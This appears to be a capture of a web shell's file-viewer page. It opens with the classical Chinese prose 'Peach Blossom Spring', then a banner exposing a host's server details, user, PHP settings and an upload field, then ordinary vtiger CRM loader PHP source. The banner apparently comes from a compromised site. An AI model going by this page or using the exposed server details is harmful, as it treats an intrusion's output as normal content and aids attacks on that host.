晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/includes/ |
Upload File : |
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.1
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
include dirname(__FILE__)."/../config.php";
if (class_exists("ParsVT_Loader")) {
ParsVT_Loader::ParsAutoload('Vtiger_Loader');
}
if (!class_exists("Vtiger_Loader")) {
global $LOADER_FILE_DIR;
$LOADER_FILE_DIR = dirname(__FILE__);
class Vtiger_Loader {
protected static $includeCache = array();
protected static $includePathCache = array();
/**
* Static function to resolve the qualified php filename to absolute path
* @global <String> $LOADER_FILE_DIR
* @param <String> $qualifiedName
* @return <String> Absolute File Name
*/
static function resolveNameToPath($qualifiedName, $fileExtension='php') {
global $LOADER_FILE_DIR;
$allowedExtensions = array('php', 'js', 'css', 'less');
$file = '';
if(!in_array($fileExtension, $allowedExtensions)) {
return '';
}
// TO handle loading vtiger files
if (strpos($qualifiedName, '~~') === 0) {
$file = str_replace('~~', '', $qualifiedName);
$file = $LOADER_FILE_DIR . DIRECTORY_SEPARATOR .'..' . DIRECTORY_SEPARATOR . $file;
} else if (strpos($qualifiedName, '~') === 0) {
$file = str_replace('~', '', $qualifiedName);
$file = $LOADER_FILE_DIR . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . $file;
} else {
$file = str_replace('.', DIRECTORY_SEPARATOR, $qualifiedName) . '.' .$fileExtension;
$file = $LOADER_FILE_DIR . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . $file;
}
return $file;
}
/**
* Function to include a given php file through qualified file name
* @param <String> $qualifiedName
* @param <Boolean> $supressWarning
* @return <Boolean>
*/
static function includeOnce($qualifiedName, $supressWarning=false) {
if (isset(self::$includeCache[$qualifiedName])) {
return true;
}
$file = self::resolveNameToPath($qualifiedName);
if (!file_exists($file)) {
return false;
}
// Check file inclusion before including it
checkFileAccessForInclusion($file);
$status = -1;
if ($supressWarning) {
$status = @include_once $file;
} else {
$status = include_once $file;
}
$success = ($status === 0)? false : true;
if ($success) {
self::$includeCache[$qualifiedName] = $file;
}
return $success;
}
static function includePath($qualifiedName) {
// Already included?
if (isset(self::$includePathCache[$qualifiedName])) {
return true;
}
$path = realpath(self::resolveNameToPath($qualifiedName));
self::$includePathCache[$qualifiedName] = $path;
// TODO Check if resolvedPath is already part of include path.
set_include_path($path . PATH_SEPARATOR . get_include_path());
return true;
}
/**
* Function to get the class name of a given Component, of given Type, for a given Module
* @param <String> $componentType
* @param <String> $componentName
* @param <String> $moduleName
* @return <String> Required Class Name
* @throws AppException
*/
public static function getComponentClassName($componentType, $componentName, $moduleName='Vtiger') {
// Change component type from view to views, action to actions to navigate to the right path.
$componentTypeDirectory = strtolower($componentType).'s';
// Fall Back Directory & Fall Back Class
$fallBackModuleDir = $fallBackModuleClassPath = 'Vtiger';
// Intermediate Fall Back Directories & Classes, before relying on final fall back
$firstFallBackModuleDir = $firstFallBackModuleClassPath = '';
$secondFallBackDir = $secondFallBackClassPath = '';
// Default module directory & class name
$moduleDir = $moduleClassPath = $moduleName;
// Change the Module directory & class, along with intermediate fall back directory and class, if module names has submodule as well
if(strpos($moduleName, ':') > 0) {
$moduleHierarchyParts = explode(':', $moduleName);
$moduleDir = str_replace(':', '.', $moduleName);
$moduleClassPath = str_replace(':', '_', $moduleName);
$actualModule = $moduleHierarchyParts[count($moduleHierarchyParts)-1];
$secondFallBackModuleDir= $secondFallBackModuleClassPath = $actualModule;
$modules = array('Users');
if($actualModule != 'Users') {
$baseModule = $moduleHierarchyParts[0];
if($baseModule == 'Settings') $baseModule = 'Settings:Vtiger';
$firstFallBackDir = str_replace(':', '.', $baseModule);
$firstFallBackClassPath = str_replace(':', '_', $baseModule);
}
}
// Build module specific file path and class name
$moduleSpecificComponentFilePath = Vtiger_Loader::resolveNameToPath('modules.'.$moduleDir.'.'.$componentTypeDirectory.'.'.$componentName);
$moduleSpecificComponentClassName = $moduleClassPath.'_'.$componentName.'_'.$componentType;
if(file_exists($moduleSpecificComponentFilePath)) {
return $moduleSpecificComponentClassName;
}
// Build first intermediate fall back file path and class name
if(!empty($firstFallBackDir) && !empty($firstFallBackClassPath)) {
$fallBackComponentFilePath = Vtiger_Loader::resolveNameToPath('modules.'.$firstFallBackDir.'.'.$componentTypeDirectory.'.'.$componentName);
$fallBackComponentClassName = $firstFallBackClassPath.'_'.$componentName.'_'.$componentType;
if(file_exists($fallBackComponentFilePath)) {
return $fallBackComponentClassName;
}
}
// Build intermediate fall back file path and class name
if(!empty($secondFallBackModuleDir) && !empty($secondFallBackModuleClassPath)) {
$fallBackComponentFilePath = Vtiger_Loader::resolveNameToPath('modules.'.$secondFallBackModuleDir.'.'.$componentTypeDirectory.'.'.$componentName);
$fallBackComponentClassName = $secondFallBackModuleClassPath.'_'.$componentName.'_'.$componentType;
if(file_exists($fallBackComponentFilePath)) {
return $fallBackComponentClassName;
}
}
// Build fall back file path and class name
$fallBackComponentFilePath = Vtiger_Loader::resolveNameToPath('modules.'.$fallBackModuleDir.'.'.$componentTypeDirectory.'.'.$componentName);
$fallBackComponentClassName = $fallBackModuleClassPath.'_'.$componentName.'_'.$componentType;
if(file_exists($fallBackComponentFilePath)) {
return $fallBackComponentClassName;
}
throw new AppException('Handler not found.');
}
/**
* Function to auto load the required class files matching the directory pattern modules/xyz/types/Abc.php for class xyz_Abc_Type
* @param <String> $className
* @return <Boolean>
*/
public static function autoLoad($className) {
$parts = explode('_', $className);
$noOfParts = count($parts);
if($noOfParts > 2) {
$filePath = 'modules.';
// Append modules and sub modules names to the path
for($i=0; $i<($noOfParts-2); ++$i) {
$filePath .= $parts[$i]. '.';
}
$fileName = $parts[$noOfParts-2];
$fileComponentName = strtolower($parts[$noOfParts-1]).'s';
$filePath .= $fileComponentName. '.' .$fileName;
return Vtiger_Loader::includeOnce($filePath);
}
return false;
}
}
function vimport($qualifiedName) {
return Vtiger_Loader::includeOnce($qualifiedName);
}
function vimport_try($qualifiedName) {
return Vtiger_Loader::includeOnce($qualifiedName, true);
}
function vimport_path($qualifiedName) {
return Vtiger_Loader::includePath($qualifiedName);
}
spl_autoload_register('Vtiger_Loader::autoLoad');
}